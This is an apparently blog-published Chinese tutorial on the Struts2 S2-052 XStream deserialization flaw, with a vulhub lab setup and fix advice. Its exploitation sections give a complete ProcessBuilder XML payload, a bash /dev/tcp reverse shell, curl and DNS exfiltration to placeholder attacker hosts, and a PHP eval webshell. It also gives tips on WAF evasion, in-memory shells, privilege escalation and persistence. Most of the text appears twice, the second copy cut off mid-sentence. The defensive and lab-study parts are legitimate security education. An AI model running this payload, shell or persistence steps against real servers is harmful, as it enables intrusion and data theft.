1. 项目概述为什么S2-052值得每一个安全从业者深入研究几年前当我在一次内部红蓝对抗演练中尝试对一套看似坚固的Java Web应用进行测试时常规的SQL注入、XSS探测都无功而返。就在准备收工时一个不起眼的REST接口引起了我的注意它接收XML格式的数据。抱着试试看的心态我构造了一个包含特定Payload的XML请求发送过去几秒钟后服务器的响应包里竟然出现了我从未预料到的系统命令执行结果。那一刻我深刻体会到Struts2框架中一个名为S2-052CVE-2017-9805的远程代码执行漏洞的威力。它不像SQL注入那样需要层层绕过也不像文件上传那样依赖特定功能点它更像一把“万能钥匙”只要应用使用了存在漏洞的组件并开启了特定特性攻击者就可能直接拿到服务器的控制权。S2-052漏洞本质上是一个由Apache Struts2的REST插件中的XStream组件反序列化缺陷导致的。简单来说当应用使用Struts2的REST插件来处理XML格式的请求时攻击者可以精心构造一个恶意的XML数据包这个数据包在服务器端被解析时会触发XStream库将XML内容还原成Java对象的过程。而XStream在默认配置下反序列化过程缺乏足够的安全限制允许攻击者指定任意类进行实例化并执行其内部的代码最终导致在服务器上执行任意系统命令。这个漏洞影响范围是Struts 2.5.x系列中使用了Struts2 REST插件且版本低于2.5.13的应用程序。对于安全研究人员、渗透测试工程师和开发人员而言透彻理解并复现这个漏洞不仅是掌握一种经典的攻击手法更是理解Java反序列化安全、框架安全配置重要性的绝佳案例。它能帮你建立起“攻击者思维”明白一个看似普通的XML解析功能是如何演变成一条直达系统内核的通道的。2. 漏洞原理深度剖析从XML到命令执行的链条要真正理解S2-052我们不能停留在“有个漏洞能执行命令”的层面必须拆解其从数据输入到代码执行的完整链条。这涉及到Struts2框架的工作机制、REST插件的设计以及XStream库的核心特性。2.1 Struts2 REST插件与XStream的协作机制Struts2框架通过插件机制来扩展其功能struts2-rest-plugin就是其中之一它旨在让Struts2能够方便地提供RESTful风格的Web服务。当这个插件被引入后Struts2会根据HTTP请求的Content-Type头部如application/xml或application/json来选择相应的消息转换器Message Converter来处理请求体RequestBody。对于application/xml类型的请求插件默认会使用XStream库作为其XML解析器。XStream是一个轻量级的Java对象与XML相互转换的工具它的核心魅力在于简单通过toXML()方法可以将一个Java对象图序列化成XML字符串反之通过fromXML()方法可以将XML字符串反序列化回Java对象。在Struts2 REST插件的设计中当接收到一个XML格式的创建POST或更新PUT请求时框架会尝试使用XStream将请求体中的XML数据反序列化并绑定到对应的Action控制器的属性上。问题就出在这个“自动绑定”和XStream的“默认能力”上。为了开发便利XStream被设计得非常强大和灵活在默认配置下它几乎可以反序列化任何在类路径Classpath中存在的Java类并调用其特定的方法如构造器、getter/setter。这种灵活性在受控环境下是优点但在处理不可信的用户输入时就成了致命的安全漏洞。2.2 恶意XML Payload的构造原理攻击者的突破口在于他们可以完全控制发送给服务器的XML数据。XStream在反序列化时XML中的标签名决定了要实例化的Java类标签内的属性和子元素则用于设置该实例的属性。攻击者利用这一点不再构造一个业务逻辑期望的“用户对象”或“订单对象”的XML而是构造一个能够执行代码的“武器化对象”的XML。一个经典的攻击链基于java.beans.EventHandler和javax.script.ScriptEngineManager等类。EventHandler是Java标准库中的一个类用于动态调用方法。攻击者可以构造XML让XStream创建一个EventHandler对象并将其target属性设置为一个ScriptEngineManager实例action属性设置为”new”表示调用构造函数eventPropertyName等属性经过一系列链式调用最终指向一个包含恶意JavaScript或Groovy代码的字符串。当这个对象在反序列化过程中被创建和初始化时这些代码就会被执行。更直接和常见的Payload会利用第三方库中的类例如早期利用的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。通过精心设置其_bytecodes属性为恶意Java字节码的Base64编码在反序列化过程中这些字节码会被加载并实例化从而执行任意命令。这些Payload看起来就像一段晦涩的XML但每一行都对应着Java虚拟机中一个危险对象的构建指令。注意这里描述的EventHandler和TemplatesImpl只是历史上公开的利用链示例。在实际研究和测试中随着JDK版本和XStream版本的更新具体的利用链可能会失效或需要调整。理解原理比记忆具体Payload更重要。2.3 漏洞触发的必要条件与影响范围不是所有Struts2应用都会中招。漏洞触发需要同时满足几个条件这也给防御和排查提供了思路使用了存在漏洞的Struts2版本具体为Struts 2.5.x且版本号严格小于2.5.13。Struts2官方在2.5.13版本中修复了此漏洞。引入了Struts2 REST插件即项目的依赖中包含struts2-rest-plugin-x.x.x.jar文件。配置了支持XML的Content-Type通常REST插件默认会注册对application/xml等类型的支持。如果开发者完全禁用了XML格式的接口或通过拦截器严格过滤了特定路径的请求风险会降低但默认配置下是开启的。存在可被利用的类在Classpath中XStream反序列化只能实例化当前应用类加载器能加载到的类。如果应用中引入了包含危险链的库如某些旧版本的Xalan、Spring等风险会大大增加。很多Java应用依赖复杂这个条件很容易被满足。这个漏洞的CVSS评分高达9.8临界级别因为它允许未经身份验证的远程攻击者在满足条件的情况下直接实现远程代码执行RCE危害极大。攻击者可以利用此漏洞植入Webshell、窃取数据、进行内网横向移动甚至控制整个服务器。3. 靶场环境搭建从零开始构建一个可攻击的漏洞实例“纸上得来终觉浅绝知此事要躬行。”在安全的可控环境下亲手搭建并测试漏洞是理解它的最佳方式。下面我将详细演示如何快速搭建一个存在S2-052漏洞的Struts2 REST应用靶场。3.1 环境与工具准备我们将在本地使用Docker来搭建环境这能保证环境的纯净和可复现性避免污染你的主机。操作系统Windows/Mac/Linux均可需要安装Docker Desktop或Docker Engine。Docker镜像我们可以使用现成的漏洞靶场镜像例如vulhub/struts2-s2-052这是安全社区维护的漏洞环境集合的一部分非常方便。测试工具浏览器用于简单访问验证服务是否启动。Burp Suite或Postman用于拦截、重放和构造HTTP请求。Burp Suite是渗透测试的瑞士军刀强烈推荐。curl命令行HTTP工具轻量快捷。Java IDE可选如IntelliJ IDEA或Eclipse如果你想深入研究漏洞应用的源代码结构。3.2 使用Docker快速启动漏洞环境打开你的终端命令行执行以下步骤拉取并启动靶场# 拉取 vulhub 的 Struts2 S2-052 环境镜像如果本地没有 # 假设你已经克隆或下载了 vulhub 项目进入对应目录 # 或者直接运行以下命令需确保有docker-compose.yml文件 docker-compose up -d通常vulhub的项目结构里每个漏洞都有一个独立的文件夹里面包含docker-compose.yml文件。你需要先进入struts2/s2-052这个目录再执行上述命令。确认服务状态docker ps你应该能看到一个容器正在运行映射了主机的某个端口如8080到容器的8080端口。访问靶场 在浏览器中打开http://localhost:8080端口号以实际映射为准。如果看到一个简单的Struts2 REST示例页面或者一个包含订单Order列表的页面说明环境启动成功。这个应用通常提供了一个用于创建新订单的REST接口POST /orders它正是我们攻击的目标。3.3 靶场应用结构与源码浅析可选但推荐理解靶场应用的结构能让你更清楚攻击面在哪里。你可以使用docker exec命令进入容器查看或者将容器内的应用源码复制到本地用IDE查看。# 进入正在运行的容器 docker exec -it 容器ID或名称 /bin/bash # 通常Tomcat应用部署在 /usr/local/tomcat/webapps/ROOT 下 cd /usr/local/tomcat/webapps/ROOT/WEB-INF查看web.xml和struts.xml配置文件。关键点在于struts.xml中通常会有一个类似如下的配置它启用了REST插件constant namestruts.convention.classes.reload valuetrue / package namerest namespace/ extendsrest-default !-- 具体的Action配置 -- /packagerest-default这个包就来自于struts2-rest-plugin。再看lib目录你一定能找到struts2-rest-plugin-2.5.12.jar或类似版本号小于2.5.13的和xstream-1.4.8.jar或存在漏洞的版本等jar包。在IDE中查看源码你会发现一个简单的OrderAction类它可能有一个create方法该方法接收一个Order对象作为参数。当以XML格式POST数据时Struts2就会尝试用XStream将请求体转换成Order对象。这里就是漏洞的入口点。实操心得搭建环境时最常见的问题是端口冲突。如果8080端口被占用可以在docker-compose.yml文件中修改端口映射例如改为”8081:8080″。另外确保Docker服务有足够的资源内存和CPU否则应用可能启动缓慢或失败。第一次拉取镜像可能需要一些时间取决于你的网络。4. 渗透实践手把手构造与执行攻击环境就绪现在进入最关键的环节——攻击。我们将一步步构造恶意请求验证漏洞是否存在并最终执行系统命令。4.1 信息收集与接口探测首先我们需要找到攻击入口。使用浏览器或Burp Suite访问靶场。浏览功能点查看页面上是否有创建、更新资源的表单或链接。通常REST接口的路径可能遵循/api/v1/orders、/orders等模式。查看网络请求打开浏览器开发者工具F12的“网络”(Network)选项卡尝试进行任何操作比如点击“新建”观察发出的HTTP请求。重点关注请求的URL、方法Method和Content-Type头部。使用Burp Suite抓包将浏览器代理设置为Burp然后刷新页面或进行操作。在Burp的Proxy - HTTP history中你能看到所有请求。寻找那些方法是POST或PUT并且Content-Type为application/xml的请求。这就是我们的潜在目标。假设我们找到了一个创建订单的接口POST http://localhost:8080/orders请求头包含Content-Type: application/xml请求体是一个简单的XMLorder id0/id productNameTest Product/productName quantity10/quantity /order服务器可能返回201 Created或者一个包含新订单信息的XML/JSON响应。这说明该接口确实在使用Struts2 REST插件处理XML数据。4.2 构造并发送恶意Payload我们不会从零构造一个复杂的利用链而是使用安全社区已经公开的、经过验证的Payload。这里以一个经典的、利用java.lang.ProcessBuilder执行命令的Payload为例。重要警告以下Payload仅用于你个人搭建的、合法的学习测试环境。严禁对任何未经授权的系统进行测试。使用Burp Suite的Repeater模块或者Postman向目标接口发送以下请求请求方法POSTURLhttp://localhost:8080/orders(替换为你的实际目标URL)请求头Content-Type: application/xml请求体map entry jdk.nashorn.internal.objects.NativeString flags0/flags value classcom.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data dataHandler dataSource classcom.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource is classjavax.crypto.CipherInputStream cipher classjavax.crypto.NullCipher initializedfalse/initialized opmode0/opmode serviceIterator classjavax.imageio.spi.FilterIterator iter classjavax.imageio.spi.FilterIterator iter classjava.util.Collections$EmptyIterator/ next classjava.lang.ProcessBuilder command string计算器命令或其他系统命令/string /command redirectErrorStreamfalse/redirectErrorStream /next /iter /serviceIterator /cipher /is /dataSource /dataHandler /value /jdk.nashorn.internal.objects.NativeString jdk.nashorn.internal.objects.NativeString reference../jdk.nashorn.internal.objects.NativeString/ /entry /map你需要将string计算器命令或其他系统命令/string中的内容替换为你想执行的系统命令。对于Linux靶场环境可以尝试string/bin/sh/stringstring-c/stringstringwhoami /tmp/test.txt/string。这个命令会执行whoami并将结果输出到/tmp/test.txt文件。对于Windows靶场环境较少见可以尝试stringcmd.exe/stringstring/c/stringstringcalc.exe/string来弹出计算器如果容器内有GUI支持的话。发送这个请求。如果漏洞存在命令将会在服务器端执行。4.3 攻击结果验证与利用深化如何验证命令是否执行成功直接回显有些Payload经过精心构造可以将命令执行的结果直接包含在HTTP响应中。但上述Payload通常是无回显的“盲注”。间接验证DNSLog外带让目标服务器向你的可控域名发起DNS查询通过查询记录证明命令执行。命令如nslookupwhoami.your-dnslog-domain.com。HTTP请求外带让目标服务器用curl或wget访问你的服务器并在URL中携带命令执行结果。例如curl http://your-server.com/whoami。文件操作验证如上例执行whoami /tmp/test.txt后可以尝试通过应用的其他功能如文件读取漏洞去读取/tmp/test.txt或者再执行一个命令cat /tmp/test.txt并通过其他方式外带内容。在Docker环境中你也可以直接进入容器查看文件docker exec 容器ID cat /tmp/test.txt。如果验证成功说明漏洞利用成功。你可以进一步尝试反弹Shell构造Payload让服务器主动连接你的监听端口建立一个反向Shell连接从而获得一个交互式命令行。命令如bash -i /dev/tcp/你的IP/你的端口 01。你需要先用nc -lvp 你的端口在攻击机上监听。写入WebShell如果知道Web应用的绝对路径可以尝试用echo命令将一句话木马写入一个可访问的Web目录。例如echo ‘?php eval($_POST[“cmd”]);?’ /var/www/html/shell.php。注意事项在测试反弹Shell或写入文件时务必注意容器或服务器的网络配置防火墙、出站规则和文件系统权限Web目录是否可写。Docker容器默认可能使用桥接网络需要确保攻击机IP从容器的网络可达。5. 漏洞修复方案与安全加固建议成功复现漏洞后我们更应该关注如何修复和防御。对于不同角色应对策略有所不同。5.1 官方修复方案与升级指南Apache Struts2官方针对S2-052的修复方案是升级到安全版本。受影响版本Struts 2.5.x 且版本号 2.5.13。安全版本Struts 2.5.13 及以上。升级步骤备份完整备份当前应用代码、配置文件及数据库。修改依赖在项目的构建管理文件如Maven的pom.xml或Gradle的build.gradle中将Struts2相关依赖的版本号更新至2.5.13或更高如2.5.14.1。!-- Maven 示例 -- dependency groupIdorg.apache.struts/groupId artifactIdstruts2-core/artifactId version2.5.26/version !-- 使用最新的稳定版 -- /dependency dependency groupIdorg.apache.struts/groupId artifactIdstruts2-rest-plugin/artifactId version2.5.26/version /dependency测试升级后必须进行全面的功能测试和回归测试确保新版本没有引入兼容性问题。特别要测试所有REST API接口。仅仅升级Struts2就够了吗不够。修复的本质是Struts2在2.5.13版本中为REST插件设置了一个安全的XStream实例通过注册一个安全防护SecurityWrapper并设置一个初始的黑名单后来演变为白名单来限制可反序列化的类。但安全是动态的后续XStream本身也可能爆出新的绕过黑名单的漏洞如CVE-2021-39139等。因此升级后还需要检查XStream的版本并考虑应用额外的安全配置。5.2 代码层与配置层加固措施如果因为某些原因无法立即升级或者升级后希望增加纵深防御可以考虑以下措施禁用不必要的消息处理器如果应用不需要XML格式的REST接口可以在struts.xml中彻底禁用XStream消息处理器。constant namestruts.rest.contentRestrictor.excludedClasses value* / !-- 或者更精确地在特定package下禁用xml支持 --实际上更直接的方法是检查并移除不需要的Content-Type支持但这需要对Struts2源码或插件机制有较深理解。实施严格的输入验证与过滤在Action层或通过拦截器Interceptor对接收到的XML内容进行严格的模式验证XSD Schema或者对关键字段进行过滤和净化。虽然不能从根本上解决反序列化问题但可以增加攻击难度。使用安全的反序列化替代方案对于新的项目考虑使用更安全的JSON库如Jackson并禁用其多态类型处理Polymorphic Type Handling功能。或者对于XML解析使用仅进行数据绑定、不涉及任意类实例化的解析器。5.3 运维层防护与监测手段从运维和安全运营角度可以采取以下措施WAFWeb应用防火墙规则部署WAF并配置规则以检测和拦截包含已知Struts2漏洞特征如特定的类名、标签结构的请求。这可以作为一道有效的临时外部防线。RASP运行时应用自我保护在应用服务器层面部署RASP agent它能够监控应用运行时的行为当检测到可疑的反序列化操作或敏感命令执行时可以进行实时阻断和告警。入侵检测与日志审计确保应用和系统的访问日志、错误日志被完整收集。监控日志中是否存在异常的、包含大量特殊字符或Java类名的POST请求。建立针对java.lang.ProcessBuilder、Runtime.exec等命令执行类被加载的告警规则通过Java Agent或安全产品实现。最小权限原则运行Java应用的操作系统用户应使用非root、低权限账户。这样即使被攻破攻击者能造成的破坏也有限。定期漏洞扫描与依赖检查使用OWASP Dependency-Check、Trivy等工具定期扫描项目依赖及时发现并修复包含已知漏洞的组件如特定版本的Struts2、XStream。6. 常见问题排查与实战技巧在复现和测试S2-052漏洞的过程中你可能会遇到各种问题。这里汇总了一些常见情况及解决思路。6.1 漏洞复现失败原因分析问题现象可能原因排查思路与解决方案发送Payload后返回400/500错误但无命令执行迹象1. Payload与目标环境不兼容JDK版本、依赖库不同。2. 目标接口路径或请求方式不对。3. 容器内缺少命令执行的上下文如/bin/sh不存在。1. 检查靶场环境的JDK版本java -version和依赖库。尝试换用其他公开的、适用于该环境的Payload。2. 使用Burp抓包确认准确的API端点、方法和Content-Type。3. 尝试执行一些简单的、通用的命令如echo test或touch /tmp/test并使用docker exec进入容器验证。返回406 Not Acceptable或415 Unsupported Media Type目标接口不支持application/xml格式或者Struts2配置未启用REST插件对XML的解析。检查请求头Content-Type是否正确。查看服务器响应头或错误信息确认其接受的Content-Type。尝试application/json或其他格式如果存在对应漏洞。命令执行了但无法验证结果无回显Payload是“盲注”类型命令执行成功但输出未在HTTP响应中体现。采用外带数据技术验证1.DNS外带使用ping或nslookup命令将结果发送到你的DNSLog平台。2.HTTP外带使用curl、wget甚至telnet将结果发送到你的HTTP服务器。3.写入文件后读取将结果写入Web目录下的一个临时文件再通过其他已知漏洞或路径访问该文件。漏洞环境启动失败端口冲突、Docker镜像拉取失败、内存不足。1.docker ps -a查看容器状态docker logs 容器ID查看启动日志。2. 修改docker-compose.yml中的端口映射。3. 确保Docker Daemon有足够资源清理无用镜像和容器。6.2 渗透测试中的进阶技巧Payload编码与变形为了绕过简单的WAF或输入过滤可以对Payload进行编码。例如对XML标签内的类名进行URL编码、十六进制编码或者将整个Payload进行Base64编码后放在CDATA块中如果服务器端有相应的解码逻辑。但核心是最终被XStream解析的XML结构必须正确。寻找替代利用链公开的ProcessBuilder链可能在目标环境失效因为类不在classpath或已被安全管理器限制。需要根据目标应用的依赖库寻找新的“小工具链”Gadget Chain。可以分析应用WEB-INF/lib下的jar包寻找那些实现了Serializable接口且其readObject、getter、setter等方法可能被利用的类。工具如ysoserial可以帮助生成多种链的Payload但需要匹配目标类路径。利用Java内存马在取得命令执行权限后更高级的利用方式是向Java内存中注入一个后门内存马例如一个Filter型或Servlet型的Webshell。这样即使不写入文件也能持久化控制。这需要你能够将编译好的恶意类字节码通过漏洞上传并注入到当前应用的ClassLoader中技术门槛较高但隐蔽性极强。权限提升与持久化获得一个Webshell或反向Shell后评估当前用户权限。尝试利用系统内核漏洞或配置错误进行提权。同时考虑建立持久化访问如创建计划任务crontab、系统服务、SSH密钥、或者向现有Web应用中植入隐蔽的后门。6.3 防御视角下的排查要点如果你是防御方怀疑系统存在此漏洞可以按以下步骤排查资产梳理识别所有对外提供服务的Java Web应用特别是使用Struts2框架的。版本确认检查应用WEB-INF/lib目录下struts2-core-*.jar和struts2-rest-plugin-*.jar的版本号。版本号小于2.5.13即存在风险。配置检查检查struts.xml等配置文件确认是否引用了rest-default包或显式配置了REST插件。流量监控在WAF或全流量日志中搜索带有Content-Type: application/xml且请求体中含有java、javax、com.sun等明显Java类包名特征的POST/PUT请求这些是攻击的强特征。漏洞扫描使用专业的Web漏洞扫描器如AWVS、Nessus或Struts2专项扫描工具进行检测。复现S2-052漏洞的过程就像一次完整的安全事件演练。从理解原理、搭建环境到发动攻击、验证结果最后思考修复和防御每一个环节都能加深你对Web安全、框架安全和Java反序列化的理解。真正重要的是将这种“攻击者思维”转化为建设性的“防御者能力”在开发中避免引入不安全的默认配置在运维中建立起有效的监测和响应机制。安全是一个持续的过程而对这些经典漏洞的深入研究正是构建安全体系最坚实的基石。
深入解析Struts2 S2-052反序列化漏洞:从原理到实战复现
发布时间:2026/6/28 20:28:45
1. 项目概述为什么S2-052值得每一个安全从业者深入研究几年前当我在一次内部红蓝对抗演练中尝试对一套看似坚固的Java Web应用进行测试时常规的SQL注入、XSS探测都无功而返。就在准备收工时一个不起眼的REST接口引起了我的注意它接收XML格式的数据。抱着试试看的心态我构造了一个包含特定Payload的XML请求发送过去几秒钟后服务器的响应包里竟然出现了我从未预料到的系统命令执行结果。那一刻我深刻体会到Struts2框架中一个名为S2-052CVE-2017-9805的远程代码执行漏洞的威力。它不像SQL注入那样需要层层绕过也不像文件上传那样依赖特定功能点它更像一把“万能钥匙”只要应用使用了存在漏洞的组件并开启了特定特性攻击者就可能直接拿到服务器的控制权。S2-052漏洞本质上是一个由Apache Struts2的REST插件中的XStream组件反序列化缺陷导致的。简单来说当应用使用Struts2的REST插件来处理XML格式的请求时攻击者可以精心构造一个恶意的XML数据包这个数据包在服务器端被解析时会触发XStream库将XML内容还原成Java对象的过程。而XStream在默认配置下反序列化过程缺乏足够的安全限制允许攻击者指定任意类进行实例化并执行其内部的代码最终导致在服务器上执行任意系统命令。这个漏洞影响范围是Struts 2.5.x系列中使用了Struts2 REST插件且版本低于2.5.13的应用程序。对于安全研究人员、渗透测试工程师和开发人员而言透彻理解并复现这个漏洞不仅是掌握一种经典的攻击手法更是理解Java反序列化安全、框架安全配置重要性的绝佳案例。它能帮你建立起“攻击者思维”明白一个看似普通的XML解析功能是如何演变成一条直达系统内核的通道的。2. 漏洞原理深度剖析从XML到命令执行的链条要真正理解S2-052我们不能停留在“有个漏洞能执行命令”的层面必须拆解其从数据输入到代码执行的完整链条。这涉及到Struts2框架的工作机制、REST插件的设计以及XStream库的核心特性。2.1 Struts2 REST插件与XStream的协作机制Struts2框架通过插件机制来扩展其功能struts2-rest-plugin就是其中之一它旨在让Struts2能够方便地提供RESTful风格的Web服务。当这个插件被引入后Struts2会根据HTTP请求的Content-Type头部如application/xml或application/json来选择相应的消息转换器Message Converter来处理请求体RequestBody。对于application/xml类型的请求插件默认会使用XStream库作为其XML解析器。XStream是一个轻量级的Java对象与XML相互转换的工具它的核心魅力在于简单通过toXML()方法可以将一个Java对象图序列化成XML字符串反之通过fromXML()方法可以将XML字符串反序列化回Java对象。在Struts2 REST插件的设计中当接收到一个XML格式的创建POST或更新PUT请求时框架会尝试使用XStream将请求体中的XML数据反序列化并绑定到对应的Action控制器的属性上。问题就出在这个“自动绑定”和XStream的“默认能力”上。为了开发便利XStream被设计得非常强大和灵活在默认配置下它几乎可以反序列化任何在类路径Classpath中存在的Java类并调用其特定的方法如构造器、getter/setter。这种灵活性在受控环境下是优点但在处理不可信的用户输入时就成了致命的安全漏洞。2.2 恶意XML Payload的构造原理攻击者的突破口在于他们可以完全控制发送给服务器的XML数据。XStream在反序列化时XML中的标签名决定了要实例化的Java类标签内的属性和子元素则用于设置该实例的属性。攻击者利用这一点不再构造一个业务逻辑期望的“用户对象”或“订单对象”的XML而是构造一个能够执行代码的“武器化对象”的XML。一个经典的攻击链基于java.beans.EventHandler和javax.script.ScriptEngineManager等类。EventHandler是Java标准库中的一个类用于动态调用方法。攻击者可以构造XML让XStream创建一个EventHandler对象并将其target属性设置为一个ScriptEngineManager实例action属性设置为”new”表示调用构造函数eventPropertyName等属性经过一系列链式调用最终指向一个包含恶意JavaScript或Groovy代码的字符串。当这个对象在反序列化过程中被创建和初始化时这些代码就会被执行。更直接和常见的Payload会利用第三方库中的类例如早期利用的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。通过精心设置其_bytecodes属性为恶意Java字节码的Base64编码在反序列化过程中这些字节码会被加载并实例化从而执行任意命令。这些Payload看起来就像一段晦涩的XML但每一行都对应着Java虚拟机中一个危险对象的构建指令。注意这里描述的EventHandler和TemplatesImpl只是历史上公开的利用链示例。在实际研究和测试中随着JDK版本和XStream版本的更新具体的利用链可能会失效或需要调整。理解原理比记忆具体Payload更重要。2.3 漏洞触发的必要条件与影响范围不是所有Struts2应用都会中招。漏洞触发需要同时满足几个条件这也给防御和排查提供了思路使用了存在漏洞的Struts2版本具体为Struts 2.5.x且版本号严格小于2.5.13。Struts2官方在2.5.13版本中修复了此漏洞。引入了Struts2 REST插件即项目的依赖中包含struts2-rest-plugin-x.x.x.jar文件。配置了支持XML的Content-Type通常REST插件默认会注册对application/xml等类型的支持。如果开发者完全禁用了XML格式的接口或通过拦截器严格过滤了特定路径的请求风险会降低但默认配置下是开启的。存在可被利用的类在Classpath中XStream反序列化只能实例化当前应用类加载器能加载到的类。如果应用中引入了包含危险链的库如某些旧版本的Xalan、Spring等风险会大大增加。很多Java应用依赖复杂这个条件很容易被满足。这个漏洞的CVSS评分高达9.8临界级别因为它允许未经身份验证的远程攻击者在满足条件的情况下直接实现远程代码执行RCE危害极大。攻击者可以利用此漏洞植入Webshell、窃取数据、进行内网横向移动甚至控制整个服务器。3. 靶场环境搭建从零开始构建一个可攻击的漏洞实例“纸上得来终觉浅绝知此事要躬行。”在安全的可控环境下亲手搭建并测试漏洞是理解它的最佳方式。下面我将详细演示如何快速搭建一个存在S2-052漏洞的Struts2 REST应用靶场。3.1 环境与工具准备我们将在本地使用Docker来搭建环境这能保证环境的纯净和可复现性避免污染你的主机。操作系统Windows/Mac/Linux均可需要安装Docker Desktop或Docker Engine。Docker镜像我们可以使用现成的漏洞靶场镜像例如vulhub/struts2-s2-052这是安全社区维护的漏洞环境集合的一部分非常方便。测试工具浏览器用于简单访问验证服务是否启动。Burp Suite或Postman用于拦截、重放和构造HTTP请求。Burp Suite是渗透测试的瑞士军刀强烈推荐。curl命令行HTTP工具轻量快捷。Java IDE可选如IntelliJ IDEA或Eclipse如果你想深入研究漏洞应用的源代码结构。3.2 使用Docker快速启动漏洞环境打开你的终端命令行执行以下步骤拉取并启动靶场# 拉取 vulhub 的 Struts2 S2-052 环境镜像如果本地没有 # 假设你已经克隆或下载了 vulhub 项目进入对应目录 # 或者直接运行以下命令需确保有docker-compose.yml文件 docker-compose up -d通常vulhub的项目结构里每个漏洞都有一个独立的文件夹里面包含docker-compose.yml文件。你需要先进入struts2/s2-052这个目录再执行上述命令。确认服务状态docker ps你应该能看到一个容器正在运行映射了主机的某个端口如8080到容器的8080端口。访问靶场 在浏览器中打开http://localhost:8080端口号以实际映射为准。如果看到一个简单的Struts2 REST示例页面或者一个包含订单Order列表的页面说明环境启动成功。这个应用通常提供了一个用于创建新订单的REST接口POST /orders它正是我们攻击的目标。3.3 靶场应用结构与源码浅析可选但推荐理解靶场应用的结构能让你更清楚攻击面在哪里。你可以使用docker exec命令进入容器查看或者将容器内的应用源码复制到本地用IDE查看。# 进入正在运行的容器 docker exec -it 容器ID或名称 /bin/bash # 通常Tomcat应用部署在 /usr/local/tomcat/webapps/ROOT 下 cd /usr/local/tomcat/webapps/ROOT/WEB-INF查看web.xml和struts.xml配置文件。关键点在于struts.xml中通常会有一个类似如下的配置它启用了REST插件constant namestruts.convention.classes.reload valuetrue / package namerest namespace/ extendsrest-default !-- 具体的Action配置 -- /packagerest-default这个包就来自于struts2-rest-plugin。再看lib目录你一定能找到struts2-rest-plugin-2.5.12.jar或类似版本号小于2.5.13的和xstream-1.4.8.jar或存在漏洞的版本等jar包。在IDE中查看源码你会发现一个简单的OrderAction类它可能有一个create方法该方法接收一个Order对象作为参数。当以XML格式POST数据时Struts2就会尝试用XStream将请求体转换成Order对象。这里就是漏洞的入口点。实操心得搭建环境时最常见的问题是端口冲突。如果8080端口被占用可以在docker-compose.yml文件中修改端口映射例如改为”8081:8080″。另外确保Docker服务有足够的资源内存和CPU否则应用可能启动缓慢或失败。第一次拉取镜像可能需要一些时间取决于你的网络。4. 渗透实践手把手构造与执行攻击环境就绪现在进入最关键的环节——攻击。我们将一步步构造恶意请求验证漏洞是否存在并最终执行系统命令。4.1 信息收集与接口探测首先我们需要找到攻击入口。使用浏览器或Burp Suite访问靶场。浏览功能点查看页面上是否有创建、更新资源的表单或链接。通常REST接口的路径可能遵循/api/v1/orders、/orders等模式。查看网络请求打开浏览器开发者工具F12的“网络”(Network)选项卡尝试进行任何操作比如点击“新建”观察发出的HTTP请求。重点关注请求的URL、方法Method和Content-Type头部。使用Burp Suite抓包将浏览器代理设置为Burp然后刷新页面或进行操作。在Burp的Proxy - HTTP history中你能看到所有请求。寻找那些方法是POST或PUT并且Content-Type为application/xml的请求。这就是我们的潜在目标。假设我们找到了一个创建订单的接口POST http://localhost:8080/orders请求头包含Content-Type: application/xml请求体是一个简单的XMLorder id0/id productNameTest Product/productName quantity10/quantity /order服务器可能返回201 Created或者一个包含新订单信息的XML/JSON响应。这说明该接口确实在使用Struts2 REST插件处理XML数据。4.2 构造并发送恶意Payload我们不会从零构造一个复杂的利用链而是使用安全社区已经公开的、经过验证的Payload。这里以一个经典的、利用java.lang.ProcessBuilder执行命令的Payload为例。重要警告以下Payload仅用于你个人搭建的、合法的学习测试环境。严禁对任何未经授权的系统进行测试。使用Burp Suite的Repeater模块或者Postman向目标接口发送以下请求请求方法POSTURLhttp://localhost:8080/orders(替换为你的实际目标URL)请求头Content-Type: application/xml请求体map entry jdk.nashorn.internal.objects.NativeString flags0/flags value classcom.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data dataHandler dataSource classcom.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource is classjavax.crypto.CipherInputStream cipher classjavax.crypto.NullCipher initializedfalse/initialized opmode0/opmode serviceIterator classjavax.imageio.spi.FilterIterator iter classjavax.imageio.spi.FilterIterator iter classjava.util.Collections$EmptyIterator/ next classjava.lang.ProcessBuilder command string计算器命令或其他系统命令/string /command redirectErrorStreamfalse/redirectErrorStream /next /iter /serviceIterator /cipher /is /dataSource /dataHandler /value /jdk.nashorn.internal.objects.NativeString jdk.nashorn.internal.objects.NativeString reference../jdk.nashorn.internal.objects.NativeString/ /entry /map你需要将string计算器命令或其他系统命令/string中的内容替换为你想执行的系统命令。对于Linux靶场环境可以尝试string/bin/sh/stringstring-c/stringstringwhoami /tmp/test.txt/string。这个命令会执行whoami并将结果输出到/tmp/test.txt文件。对于Windows靶场环境较少见可以尝试stringcmd.exe/stringstring/c/stringstringcalc.exe/string来弹出计算器如果容器内有GUI支持的话。发送这个请求。如果漏洞存在命令将会在服务器端执行。4.3 攻击结果验证与利用深化如何验证命令是否执行成功直接回显有些Payload经过精心构造可以将命令执行的结果直接包含在HTTP响应中。但上述Payload通常是无回显的“盲注”。间接验证DNSLog外带让目标服务器向你的可控域名发起DNS查询通过查询记录证明命令执行。命令如nslookupwhoami.your-dnslog-domain.com。HTTP请求外带让目标服务器用curl或wget访问你的服务器并在URL中携带命令执行结果。例如curl http://your-server.com/whoami。文件操作验证如上例执行whoami /tmp/test.txt后可以尝试通过应用的其他功能如文件读取漏洞去读取/tmp/test.txt或者再执行一个命令cat /tmp/test.txt并通过其他方式外带内容。在Docker环境中你也可以直接进入容器查看文件docker exec 容器ID cat /tmp/test.txt。如果验证成功说明漏洞利用成功。你可以进一步尝试反弹Shell构造Payload让服务器主动连接你的监听端口建立一个反向Shell连接从而获得一个交互式命令行。命令如bash -i /dev/tcp/你的IP/你的端口 01。你需要先用nc -lvp 你的端口在攻击机上监听。写入WebShell如果知道Web应用的绝对路径可以尝试用echo命令将一句话木马写入一个可访问的Web目录。例如echo ‘?php eval($_POST[“cmd”]);?’ /var/www/html/shell.php。注意事项在测试反弹Shell或写入文件时务必注意容器或服务器的网络配置防火墙、出站规则和文件系统权限Web目录是否可写。Docker容器默认可能使用桥接网络需要确保攻击机IP从容器的网络可达。5. 漏洞修复方案与安全加固建议成功复现漏洞后我们更应该关注如何修复和防御。对于不同角色应对策略有所不同。5.1 官方修复方案与升级指南Apache 